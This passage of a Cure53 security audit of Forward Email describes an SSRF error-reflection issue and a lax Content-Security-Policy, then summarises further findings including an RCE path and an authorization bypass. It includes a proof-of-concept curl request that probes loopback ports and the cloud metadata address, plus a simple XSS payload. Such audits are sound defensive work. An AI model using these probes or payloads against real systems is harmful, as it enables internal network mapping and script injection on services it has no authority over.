This section covers any and all noteworthy findings that did not incur an exploit but may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, while a vulnerability is present, an exploit may not always be possible.

FWD-01-005 WP2: Verbose error reflection in S3 *connection-test* response *(Info)*

Fix Note: *This issue has been fixed by the development team and verified by Cure53 to be working as expected. The described issue no longer exists.*

It was found that the storage *connection-test* endpoint returns detailed outbound network error information directly in the JSON response. The disclosed data includes the resolved host and port, as well as low-level socket or kernel error codes. As a result, what would otherwise be a blind SSRF primitive becomes an observable channel with explicit feedback regarding the target's network reachability. In this manner, the issue is related to FWD-01-002.

An authenticated attacker with administrative access to a paid-plan domain can use the described behavior to enumerate hosts and ports reachable from the application's environment. The differing responses allow the attacker to distinguish between closed ports, unreachable or filtered hosts, failed DNS resolution, and services that are reachable but do not use the expected protocol. When combined with the underlying SSRF capability, this significantly improves the attacker's ability to map and profile internal network's infrastructure from the production environment.

PoC request:

```
curl -sk -u "${TOKEN}:" -X POST \
    -H 'Content-Type: application/json' -H 'Accept: application/json' \
    --data '{"s3_endpoint":"http://127.0.0.1:1/","s3_region":"us-east-1",
            "s3_access_key_id":"audit-x","s3_secret_access_key":"audit-
y","s3_bucket":"any"}' \
    "https://api.forwardemail.net/v1/domains/${DOMAIN_ID}/test-s3-
connection"
```

PoC response:

```
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Failed to connect to your custom S3 storage: connect
       ECONNREFUSED 127.0.0.1:1"
}
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Steps to reproduce:

1. Authenticate to */v1/domains/:domain_id/test-s3-connection* as a domain administrator on a paid plan.
2. Submit *s3_endpoint=http://127.0.0.1:1/* and observe that the response body contains the resolved IP and port together with the **ECONNREFUSED** code.
3. Repeat with other internal addresses to enumerate which ports are listening, refused, or filtered:

```
http://127.0.0.1:1/         ->   "connect ECONNREFUSED 127.0.0.1:1"
http://127.0.0.1:80/        ->   "UnknownError"
http://127.0.0.1:4000/      ->   "connect ECONNREFUSED 127.0.0.1:4000"
http://127.0.0.1:6379/      ->   "connect ECONNREFUSED 127.0.0.1:6379"
http://127.0.0.1:27017/     ->   "connect ECONNREFUSED 127.0.0.1:27017"
http://169.254.169.254/     ->   408 generic "Request Time-out" (~30 s)
```

It is recommended to catch the network errors raised by the outbound storage call and replace the reflected text with a generic message that does not echo the resolved destination or the underlying error code. Internal diagnostic details should remain available in the server-side logs for the operator only.

FWD-01-008 WP1: XSS via ineffective *Content-Security-Policy* (*Medium*)

Fix Note: *This issue has been fixed by the development team and verified by Cure53 to be working as expected. The described issue no longer exists.*

It was discovered that the deployed *Content-Security-Policy* is too lax and trivially allows for leveraging an HTML injection into a XSS vulnerability. This persists despite security nonces already being added to the majority of the served *script* tags. This also prevents mitigation of the HTML injection observed in FWD-01-007. For this reason, this issue is rated as *Medium*.

The following excerpt shows the *Content-Security-Policy* that is served through an HTTP header on all observed HTTP responses. It can be seen that the *script-src* policy openly contains the *unsafe-inline* directive without any tighter restrictions. As a result, simple unsafe JavaScript event-handlers added as HTML attributes can be used to leverage script execution. From there, common and simple XSS vectors like *<img src=x onerror=alert(1)>* can be successful.

Content-Security-Policy **deployed in production:**

```
default-src 'self' https://*.forwardemail.net:* https://forwardemail.net
https://forwardemail.net:* ;
[...]
script-src 'self' https://*.forwardemail.net:* https://forwardemail.net
https://forwardemail.net:*  'unsafe-inline'
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
https://challenges.cloudflare.com https://www.paypal.com; object-src
'none'; frame-ancestors 'self';
```

It is recommended to properly tighten the *CSP* to only allow executions of JavaScript in *script* tags that are tagged with the trusted *CSP* nonce. With this mechanism in place attackers can no longer make use of simple XSS payloads because they are lacking this knowledge. This strategy removes a trivial path to escalate an HTML injection.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Conclusions

In the frames of *FWD-01,* Cure53 had its first look at the Forward Email architecture. This ecosystem has been written primarily in pure JavaScript, accompanied by open-source Infrastructure-as-Code in the form of Ansible playbooks. The platform clusters its services into a web stack, comprising the public-facing web and API components together with internal services such as the SQLite service, and a mail stack covering IMAP, POP3, and SMTP.

Within the limited timeframe of this May 2026 assessment, Cure53 focused primarily on the web and API surfaces, which are directly Internet-exposed and, as such, carry the greatest and most immediate risks. The observed security posture is consistent with an actively maintained open-source platform of this scale, with several security controls in place at both infrastructure and application level.

In the end, Cure53 spotted ten problems in the Forward Email complex during this assessment. Eight have been classified as exploitable vulnerabilities and two as miscellaneous flaws that result in hardening recommendations. It is important to note, however, a strong representation of problems with major implications on the list of findings associated with *FWD-01.* In particular, Cure53 detected two *Critical* and four *High*-level security vulnerabilities.

The most impactful finding discovered during this test was an RCE path reachable from the administrative dashboard. The dashboard accepts a free-form MongoDB query through a query-string parameter and passes it to a server-side parser. The parser’s AST walker blocks neither the regex-prototype walk that returns a function reference, nor subsequent access to that function's constructor (FWD-01-010).

In the context of this issue, an authenticated administrator can execute arbitrary commands on the production application server with the privileges of the web-service user by issuing a single *GET* request. From this vantage point the entire SaaS, including all customer mailbox keys, can be compromised. It should be noted that the underlying flaw is not attributable to code written by the Forward Email developers, but to a vulnerability in a third-party library. The mitigation nevertheless lies with the platform, which must constrain or replace the affected parser.

A second impactful finding concerns the platform's authorization schema, where an authenticated user can attach themselves to any domain that has a pending invite. This can be accomplished by exercising a path that skips the email-binding check on the invited address (FWD-01-001), thereby extending administrative access to a domain that the targeted invitees were never actually invited to.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The third category of notable findings concerns SSRFs on outbound HTTP surfaces. Two distinct entry points (FWD-01-002 and FWD-01-006) accept attacker-influenced destinations, because the destination filter operates on the URL string rather than on the resolved address, allowing both surfaces to be steered at internal targets, including loopback.

Another pattern of flaws relates to XSS and the *Content-Security-Policy* that facilitates it. Although the web and API make use of the *PUG* rendering engine, which automatically escapes HTML, Cure53 identified a substantial number of locations where auto-escaping was deliberately disabled, or where values were rendered directly into a JavaScript context.

Two reflected sinks resulting from this pattern were exploited (FWD-01-003 and FWD-01-007), and their practical impact is amplified by a permissive *Content-Security-Policy* that still allows inline script execution (FWD-01-008). Consistently removing the manual unescaped sites and relying on the auto-escaping mechanism is the single change with the greatest potential to lift the application's XSS defenses and posture.

Some further findings should be mentioned, though they constitute departures from the already noted categories of flaws. To this end, the mail-filter validator inspects header-modification commands as static program text, while the runtime engine resolves variable references before execution (FWD-01-004). This means that the platform's published protected-header allowlist can be bypassed from a user-controlled mail-filter script.

Next, the captcha surface used in the registration flow relies on a dependency whose behavior is insufficient and incorrect for the role it plays (FWD-01-009). The outcome is that automated submissions can reach the underlying handler. Also, the storage *connection-test* endpoint reflects low-level network errors directly in the response body (FWD-01-005). This signals a three-state oracle alongside the SSRF surface in FWD-01-002.

Notably, several modern defensive techniques were already deployed by the Forward Email team. These include a *Content-Security-Policy* with script nonces and Cloudflare Turnstile as anti-bot protection. Unfortunately, both ultimately proved ineffective due to the bugs explained in FWD-01-008 and FWD-01-009. Positively, the presence of these mechanisms in the first place demonstrates that the development team is aware of currently advised hardening practices. Continued active investment in fine-tuning can close the gaps that prevent these controls from functioning as intended at present.

Several other controls are already well implemented end-to-end. The platform's DMARC, SPF, and transport-security records are published correctly, incoming mail is delivered over encrypted transport, outbound webhooks are signed, and the production hosts apply comprehensive operating-system hardening across the fleet. The platform's privacy claims around log retention and the absence of IP-address storage on the public log API were verified against the live database and held for the relevant document set.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

For some final notes, Cure53 is happy to report the white-box format proved very effective and the auditability of the Forward Email codebase was excellent. The limited timeframe of *FWD-01*, however, did not make it possible for Cure53 to cover as much of the ecosystem as desired.

In particular, the mail stack and the internal services received only cursory attention relative to the web and API. For this reason, Cure53 strongly recommends continued retesting of the in-scope components in future engagements, as these are needed to maintain and extend the existing security posture observed during this initial May 2026 inspection.

Cure53 would like to thank Nick Baugh from the Forward Email LLC team for his excellent project coordination, support and assistance, both before and during this assignment.